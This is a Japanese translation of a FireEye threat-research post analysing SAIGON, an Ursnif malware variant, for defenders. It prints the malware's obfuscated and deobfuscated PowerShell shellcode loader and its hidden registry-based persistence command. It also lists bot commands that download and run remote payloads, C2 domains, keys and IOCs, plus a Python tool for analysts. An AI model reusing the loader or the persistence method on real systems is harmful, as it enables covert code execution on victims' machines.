ブログ(脅威調査)

SAIGON:Ursnifの奇妙なブランチ

Ursnif(別名Gozi/Gozi-ISFB)は、現在も盛んに配布されている、古いバンキング・マルウェア・ファミリーの1つです。Ursnifの最初のメジャーバージョンは2006年に確認され、ソースコードが流出したため、いくつかのバージョンが後続してリリースされています。FireEyeは、複数のPOSマルウェア・ファミリーを含むツールを集めたホスト・サーバーを特定した後、2019年9月に、Threat Intelligenceサブスクリプション契約者に、以前は確認されていないUrsnifマルウェア・ファミリーの亜種について報告しました。このマルウェアは「SaiGon version 3.50 rev 132」と自己同一性があり、解析の結果、Ursnifの亜種v3(RM3)のソースコードをベースにしている可能性が高そうです。特に、SAIGONの機能は、本格的なバンキング・マルウェアというより汎用的なバックドアであり、おそらく、標的型サイバー犯罪攻撃に使用するよう調整されているようです。

技術分析

振る舞い

SAIGONは、Base64エンコードされたシェルコードとしてレジストリ・キーに保存され、スケジュールされたタスクでPowerShellを使用して起動されます。他のUrsnif亜種と同様に、マルウェアの主なコンポーネントはDLLファイルです。このDLLには単一のエクスポートされた関数、DllRegisterServer(使用されない空の関数)を持っています。エントリーポイントでDLLがロードされて初期化されたときに、マルウェアのすべての関連機能が実行されます。

最初の実行時に、マルウェアは作成時のタイムスタンプ、%SystemDrive%\pagefile.sysまたは%SystemDrive%\hiberfil.sysのどちらか最初に識別された方を使用して、マシンIDを生成します。興味深いことに、システム・ドライブは(SharedUserDataNtSystemRootを介して)KUSER_SHARED_DATA構造体から直接、一般的ではない方法で照会されます。KUSER_SHARED_DATAは、カーネル・メモリの特殊な部分に配置される構造体で、すべてのユーザーモード・プロセスのメモリ空間(したがって共有)にマッピングされ、常に固定メモリ・アドレス(SharedUserDataシンボルが指す0x7ffe0000)に配置されます。

コードは次に、GetWindowThreadProcessId(GetShellWindow(), ...)を呼び出すことで、現在のシェル・プロセスを探します。コードはまた、特別なチェックの機能も持っています。シェルの親プロセスの名前から計算されたチェックサムがexplorer.exeのチェックサム(0xc3c07cf0)と一致する場合、代わりに親プロセスにインジェクションを試みます。

次に、SAIGONは、従来のVirtualAllocEx / WriteProcessMemory / CreateRemoteThread関数の組み合わせを使用して、このプロセスにインジェクションします。このプロセスがインジェクションされると、バイナリ内に埋め込まれた2つのファイルを読み込みます。

  • PUBLIC.KEYファイル:マルウェアのコマンドアンドコントロール(C2)サーバーから送られる、他の埋め込みファイルやデータを検証および復号するために使用される
  • RUN.PS1ファイル:PowerShellローダー・スクリプト・テンプレートで、スクリプト内に「"@SOURCE@"」プレースホルダーを含む

$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@");
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("JHdneG1qZ2J4dGo9JGh
hbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF
0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWB
ucHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0K
GAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RlVGhyZWFkKEl
udFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN
0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCI
pXWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmplY3QoSW50UHRyIGFqLC
BVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dG
VybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4eSx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1
dHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UeXBlIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSAnV2luMzI
nIC1uYW1lc3BhY2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6Vml
ydHVhbEFsbG9jKDAsJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU
2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskd
GRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLC
RtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG
9jbm53a3ZvcSwzMDAwMCk7")));

マルウェアは、このPowerShellスクリプト・テンプレートの「"@SOURCE@"」プレースホルダーをBase64エンコードされたバージョンのスクリプト自体に置き換え、「HKEY_CURRENT_USER\Identities\{<random_guid>}」レジストリ・キーの下にある「PsRun」というレジストリ値にPowerShellスクリプトを書き込みます(図1)。


図1:PsRunに書き込まれたPowerShellスクリプト

次に、SAIGONのインスタンスは、「Power<random_word>」(PowerSgsなど)という名称の新しいスケジュールされたタスク(図2)を作成します。これが何らかの理由で失敗した場合、「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run」レジストリ・キーを使用して、システムの再起動時にもインスタンス自身の持続性を維持できるようにします。


図2:スケジュールされたタスク

使用する持続的メカニズムにかかわらず、レジストリからバイナリを実行するコマンドは次のようになります。

PowerShell.exe -windowstyle hidden -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwASQBkAGUAbgB0AGkAdABpAGUAcwBcAHsANAAzAEIA
OQA1AEUANQBCAC0ARAAyADEAOAAtADAAQQBCADgALQA1AEQANwBGAC0AMgBDADcAOAA5AEMANQA5
AEIAMQBEAEYAfQAnACkALgBQAHMAUgB1AG4A

このコマンドからBase64エンコーディングを削除すると、「iex (gp 'HKCU:\\Identities\\{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}').PsRun」のようになります。このコマンドを実行すると、前述のレジストリ値の内容がGet-ItemProperty (gp)を使用して取得され、Invoke-Expression (iex)を使用して実行されます。

最後に、レジストリ内のPowerShellコードはメモリ・ブロックを割り当て、Base64デコードされたシェルコードをそこにコピーし、CreateRemoteThreadを使用して領域を指す新しいスレッドを起動し、スレッドが完了するまで待機します。以下のスクリプトは、非難読化して整えたPowerShellです。

$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@");
$wgxmjgbxtj = $hanksefksgu.Length;

$tskvo = @"
[DllImport("kernel32")]
public static extern Int32 GetCurrentProcess();

[DllImport("user32")]
public static extern IntPtr GetDC(IntPtr mxxahxof);

[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdrictwdk, uint klmhnsk, IntPtr vcexsualwhh);

[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev);

[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud);
"@;

$tskaaxotxe = Add-Type -memberDefinition $tskvo -Name 'Win32' -namespace Win32Functions -passthru;
$mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($hanksefksgu, 0, $mhxkpull, $wgxmjgbxtj);
$tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0);
$ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000);

マシンへの足がかりが確立されると、SAIGONは埋め込みのLOADER.INI構成ファイルをロードして解析し(詳しくは「設定」のセクションを参照)、メインのワーカー・スレッドを起動します。メインのワーカー・スレッドは、C2サーバーに対し、コマンドを継続的にポーリングします。

設定

Ursnifソースコードには、実行ファイルにバンドルされた圧縮/暗号化ファイルのセットである、「joined data」と呼ばれる概念が組み込まれていました。初期の亜種は、PEヘッダーの後に特別な構造体を利用し、特定のマジック・バイト(「JF」、「FJ」、「J1」、「JJ」などUrsnifのバージョンによって異なる)のマークを付けていました。Ursnif v3(図3)では、このデータは単にPEヘッダーの後ではなく、PEヘッダーのSecurity Directoryでポイントされ、マジック・バイトも「WD」(0x4457)に変更されています。

図3:Ursnif v3結合データ

この構造体は、バンドルされたファイルのさまざまなプロパティ(offset、size、type)を定義します。これは、SAIGONがその3つの埋め込みファイルを格納するために使用するメソッドとまったく同じです。

  • PUBLIC.KEY:RSA公開鍵
  • RUN.PS1:PowerShellスクリプト・テンプレート
  • LOADER.INI:マルウェアの設定

次に、確認された設定オプションのリストを示します。

名前のチェックサム

名前

説明

0x97ccd204

HostsList

通信に使用されるC2 URLの一覧

0xd82bcb60

ServerKey

C2との通信に使用されるSerpentキー

0x23a02904

Group

ボットネットID

0x776c71c0

IdlePeriod

C2への最初のリクエストの前に待機する秒数

0x22aa2818

MinimumUptime

稼働時間がこの指定値(秒単位)より長くなるまで待機する

0x5beb543e

LoadPeriod

C2への後続のリクエスト間の待機秒数

0x84485ef2

HostKeepTime

障害発生時に次のC2サーバーに切り替えるまでの待機時間(分)

表1:設定オプション

通信

SAIGONのネットワーク通信の構造体は、少しの違いはあっても、Ursnif v3と非常に似ています。SAIGONビーコンは、「/index.html」 URLパスに対し、HTTP POSTでmultipart/form-dataエンコードのリクエストとしてC2サーバーに送信されます。送信されるペイロードは、最初にSerpent暗号(ECBモード対CBCモード)を使用して暗号化され、次にBase64エンコードされます。サーバーからのレスポンスは、同じSerpentキーで暗号化され、サーバーのRSA秘密キーで署名されます。

SAIGONは、HTTPリクエストで以下のUser-Agentヘッダーを使用します:Mozilla/5.0 (Windows NT<os_version>; rv:58.0) Gecko/20100101 Firefox/58.0。<os_version>は、OSのメジャーとマイナーのバージョン番号(Windows10の場合は10.0、Windows7の場合は6.1)、64ビットOSの場合は、文字列「; Win64; x64」が追加されます。これにより、以下の例のUser Agent文字列が生成されます。

  • Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0(64ビットWindows 10の場合)
  • Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0(32ビットWindows 7の場合)

リクエスト・フォーマットもまた、表2で説明する、他のUrsnif亜種で使用されているフォーマットと少し似ています。

ver=%u&group=%u&id=%08x%08x%08x%08x&type=%u&uptime=%u&knock=%u

名前


説明


ver

ボットのバージョン(他のUrsnif亜種とは異なり、ビルド番号を含むだけ。「3.5.xxx」のxxxの数字のみ)

group

ボットネットID

id

クライアントID

type

リクエスト・タイプ(0:タスクのポーリング時、6:システム情報データのアップロード時)

uptime

マシンの稼働時間(秒単位)

knock

ボットの「ノック」期間(C2への後続のリクエスト間の待機秒数。LoadPeriod設定オプションを参照)

表2:リクエスト・フォーマットの構成要素

機能

SAIGONは、表3で説明するbotコマンドを実装します。

名前のチェックサム

名前

説明

0x45d4bf54

SELF_DELETE

マシンから自身をアンインストールする。スケジュールされたタスクを削除し、レジストリ・キーを削除する

0xd86c3bdc

LOAD_UPDATE

URLからデータをダウンロードし、署名を復号して確認し、.ps1として保存して、「PowerShell.exe -ep unrestricted -file %s」を使用して実行する。

0xeac44e42

GET_SYSINFO

以下を実行してシステム情報を収集し、アップロードする

  1. "systeminfo.exe"
  2. "net view"
  3. "nslookup 127.0.0.1"
  4. "tasklist.exe /SVC"
  5. "driverquery.exe"
  6. "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s"

0x83bf8ea0

LOAD_DLL

URLからデータをダウンロードし、復号して確認し、メモリに自身をロードするのに使用したのと同じシェルコード・ローダーを使用して、DLLを現行プロセスにロードする

0xa8e78c43

LOAD_EXE

URLからデータをダウンロードし、復号して確認し、.exe拡張子を付けて保存し、ShellExecuteを使用して呼び出す

表3:SAIGONボット・コマンド

Ursnif v3との比較

表4に、Ursnif v3とSAIGONの解析済みサンプルの類似点を示します(太字は異なる部分を表します)。

 

Ursnif v3 (RM3)

Saigon (Ursnif v3.5?)

持続性の維持の手法


スケジュールされたタスク。PowerShellを使用してレジストリ・キーに格納されたコードを実行する

スケジュールされたタスク。PowerShellを使用してレジストリ・キーに格納されたコードを実行する

設定の保存


Security PEディレクトリ。'WD'マジック・バイト(Ursnifの"joined files"とも呼ばれる)で始まる埋め込みバイナリ・データを指す

Security PEディレクトリ。'WD'マジック・バイト(Ursnifの"joined files"とも呼ばれる)で始まる埋め込みバイナリ・データを指す

PRNGアルゴリズム

xorshift64*

xorshift64*

チェックサム・アルゴリズム

JAMCRC(すべてのビットを反転してCRC32チェック)

CRC32、1ビット右ローテートした結果でチェック

データ比較

aPLib

aPLib

暗号化 / 復号

Serpent CBC

Serpent ECB

データ整合性検証

RSAシグネチャー

RSAシグネチャー

通信方法

HTTP POSTリクエスト

HTTP POSTリクエスト

ペイロードのエンコーディング

Base64パディングなし(「+」は 「'_2B」に、「/」は「_2F」に置換される)、ランダムなスラッシュが追加される

Base64パディングなし(「+」は 「%2B」に、「/」は「%2F」に置換される)、ランダムなスラッシュはなし

URLパス模倣

使用する

使用しない

PXファイル・フォーマット

使用する

使用しない

表4:Ursnif v3とSAIGONのサンプルの類似点と相違点

図4に、Ursnif v3によるURLパスの模倣の使用を示しています。この戦術は、SAIGONを含むUrsnifの他の亜種では見られません。


図4:Ursnif v3の模倣例。赤:正常なブラウザ・トラフィックで以前に見られた模倣、緑:SAIGONのサンプルでは見られない

推測

現在、SAIGONがUrsnifマルウェア・エコシステムにおいて、幅広い進化を示しているかどうかは不明です。これまでに確認されたSAIGONのサンプル数が少ないこと(そのすべてのコンパイル時のタイムスタンプは2018年)は、SAIGONが少数の攻撃に合わせたUrsnif v3の一時的なブランチであることを示している可能性があります。特に、SAIGONの機能は、典型的なバンキング・マルウェアと異なり、標的型の侵入攻撃のサポートに適していると考えられます。この推測は、POSへの攻撃で使用されるツールのホスト・サーバー上でSAIGONを事前に確認したことと、FIN8が以前に使用したツールと共に、侵害されたサービス組織のネットワーク上に出現したマルウェアに関するVISAの最近の通知からも裏付けられます。

謝辞

この記事執筆をサポートしてくれたKimberly Goody、Jeremy Kennelly、James Wykeに感謝します。

付録A:サンプル

以下は埋め込みの設定を含むサンプルです。

Sample SHA256: 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
Sample Version: 3.50.132
PE Timestamp: 2018-07-07T14:51:30
XOR Cookie: 0x40d822d9
C2 URLs:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com

Group / Botnet ID: 1001
Server Key: rvXxkdL5DqOzIRfh
Idle Period: 30
Load Period: 300
Host Keep Time: 1440
RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

Sample SHA256: c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
Sample Version: 3.50.132
PE Timestamp: 2018-07-07T14:51:41
XOR Cookie: 0x40d822d9
C2 URLs:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com

Group / Botnet ID: 1001
Server Key: rvXxkdL5DqOzIRfh
Idle Period: 30
Load Period: 300
Host Keep Time: 1440
RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

Sample SHA256: 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e
Sample Version: 3.50.199
PE Timestamp: 2018-11-15T11:17:09
XOR Cookie: 0x40d822d9
C2 URLs:

  • https://mozilla-yahoo[.]com
  • https://cdn-mozilla-sn45[.]com
  • https://cdn-digicert-i31[.]com

Group / Botnet ID: 1000
Server Key: rvXxkdL5DqOzIRfh
Idle Period: 60
Load Period: 300
Host Keep Time: 1440
RSA Public Key: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b15
02ccb5c021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f5
93518a2cf4915d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

Sample SHA256: 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9
Sample Version: 3.50.209
PE Timestamp: 2018-12-04T10:47:56
XOR Cookie: 0x40d822d9
C2 URLs

  • http://softcloudstore[.]com
  • http://146.0.72.76
  • http://setworldtime[.]com
  • https://securecloudbase[.]com

Botnet ID: 1000
Server Key: 0123456789ABCDEF
Idle Period: 20
Minimum Uptime: 300
Load Period: 1800
Host Keep Time: 360
RSA Public Key: (0xdb7c3a9ea68fbaf5ba1aebc782be3a9e75b92e677a114b52840d2bbafa8ca49da40a64664d80cd62d9453
34f8457815dd6e75cffa5ee33ae486cb6ea1ddb88411d97d5937ba597e5c430a60eac882d8207618d14b660
70ee8137b4beb8ecf348ef247ddbd23f9b375bb64017a5607cb3849dc9b7a17d110ea613dc51e9d2aded, 0x10001)

付録B:IOC

Sample hashes:

  • 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
  • c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
  • 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e [VT]
  • 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 [VT]

C2 servers:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com
  • https://mozilla-yahoo[.]com
  • https://cdn-mozilla-sn45[.]com
  • https://cdn-digicert-i31[.]com
  • http://softcloudstore[.]com
  • http://146.0.72.76
  • http://setworldtime[.]com
  • https://securecloudbase[.]com

User-Agent:

  • "Mozilla/5.0 (Windows NT <os_version>; rv:58.0) Gecko/20100101 Firefox/58.0"

Other host-based indicators:

  • "Power<random_string>" scheduled task
  • "PsRun" value under the HKCU\Identities\{<random_guid>} registry key

付録C:シェルコード・コンバーターのスクリプト

以下のPythonスクリプトは、このマルウェアの解析を容易にすることを目的に作成されました。このスクリプトは、PEローダーを削除し、PEヘッダーを復元することによって、SAIGONシェルコードを元のDLL形式に戻します。これらの変更により、SAIGONシェルコードの解析が大幅にシンプルになります(たとえば、IDAにファイルをロードできるようになります)。ただし、マルウェアがプロセスのインジェクションを実行する段階でPEローダー(現在は削除済み)を利用するため、デバッガで実行すると、作成されたDLLはクラッシュしたままになります。この変換プロセスの後、サンプルはサイズが小さく、難読化されていないため、比較的簡単に解析できます。

#!/usr/bin/env python3
import argparse
import struct
from datetime import datetime

MZ_HEADER = bytes.fromhex(
    '4d5a90000300000004000000ffff0000'
    'b8000000000000004000000000000000'
    '00000000000000000000000000000000'
    '00000000000000000000000080000000'
    '0e1fba0e00b409cd21b8014ccd215468'
    '69732070726f6772616d2063616e6e6f'
    '742062652072756e20696e20444f5320'
    '6d6f64652e0d0d0a2400000000000000'
)

def main():
    parser = argparse.ArgumentParser(description="Shellcode to PE converter for the Saigon malware family.")
    parser.add_argument("sample")
    args = parser.parse_args()

    with open(args.sample, "rb") as f:
        data = bytearray(f.read())

    if data.startswith(b'MZ'):
        lfanew = struct.unpack_from('=I', data, 0x3c)[0]
        print('This is already an MZ/PE file.')
        return
    elif not data.startswith(b'\xe9'):
        print('Unknown file type.')
        return

    struct.pack_into('=I', data, 0, 0x00004550)
    if data[5] == 0x01:
        struct.pack_into('=H', data, 4, 0x14c)
    elif data[5] == 0x86:
        struct.pack_into('=H', data, 4, 0x8664)
    else:
        print('Unknown architecture.')
        return

    # file alignment
    struct.pack_into('=I', data, 0x3c, 0x200)

    optional_header_size, _ = struct.unpack_from('=HH', data, 0x14)
    magic, _, _, size_of_code = struct.unpack_from('=HBBI', data, 0x18)
    print('Magic:', hex(magic))
    print('Size of code:', hex(size_of_code))

    base_of_code, base_of_data = struct.unpack_from('=II', data, 0x2c)

    if magic == 0x20b:
        # base of data, does not exist in PE32+
        if size_of_code & 0x0fff:
            tmp = (size_of_code & 0xfffff000) + 0x1000
        else:
            tmp = size_of_code
        base_of_data = base_of_code + tmp

    print('Base of code:', hex(base_of_code))
    print('Base of data:', hex(base_of_data))

    data[0x18 + optional_header_size : 0x1000] = b'\0' * (0x1000 - 0x18 - optional_header_size)

    size_of_header = struct.unpack_from('=I', data, 0x54)[0]

    data_size = 0x3000
    pos = data.find(struct.pack('=IIIII', 3, 5, 7, 11, 13))
    if pos >= 0:
        data_size = pos - base_of_data

    section = 0
    struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
        b'.text',
        size_of_code, base_of_code,
        base_of_data - base_of_code, size_of_header,
        0, 0,
        0, 0,
        0x60000020
    )
    section += 1
    struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
        b'.rdata',
        data_size, base_of_data,
        data_size, size_of_header + base_of_data - base_of_code,
        0, 0,
        0, 0,
        0x40000040
    )
    section += 1
    struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
        b'.data',
        0x1000, base_of_data + data_size,
        0x1000, size_of_header + base_of_data - base_of_code + data_size,
        0, 0,
        0, 0,
        0xc0000040
    )

    if magic == 0x20b:
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            b'.pdata',
            0x1000, base_of_data + data_size + 0x1000,
            0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,
            0, 0,
            0, 0,
            0x40000040
        )
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            b'.bss',
            0x1600, base_of_data + data_size + 0x2000,
            len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000,
            0, 0,
            0, 0,
            0xc0000040
        )
    else:
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            b'.bss',
            0x1000, base_of_data + data_size + 0x1000,
            0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,
            0, 0,
            0, 0,
            0xc0000040
        )
        section += 1
        struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,
            b'.reloc',
            0x2000, base_of_data + data_size + 0x2000,
            len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000,
            0, 0,
            0, 0,
            0x40000040
        )

    header = MZ_HEADER + data[:size_of_header - len(MZ_HEADER)]
    pe = bytearray(header + data[0x1000:])
    with open(args.sample + '.dll', 'wb') as f:
        f.write(pe)

    lfanew = struct.unpack_from('=I', pe, 0x3c)[0]
    timestamp = struct.unpack_from('=I', pe, lfanew + 8)[0]
    print('PE timestamp:', datetime.utcfromtimestamp(timestamp).isoformat())

 

if __name__ == "__main__":
    main()

 

本ブログは、米FireEyeが公開した「SAIGON, the Mysterious Ursnif Fork」(英語)の日本語抄訳版です。

日本語版:Reviewed by Ayako Matsuda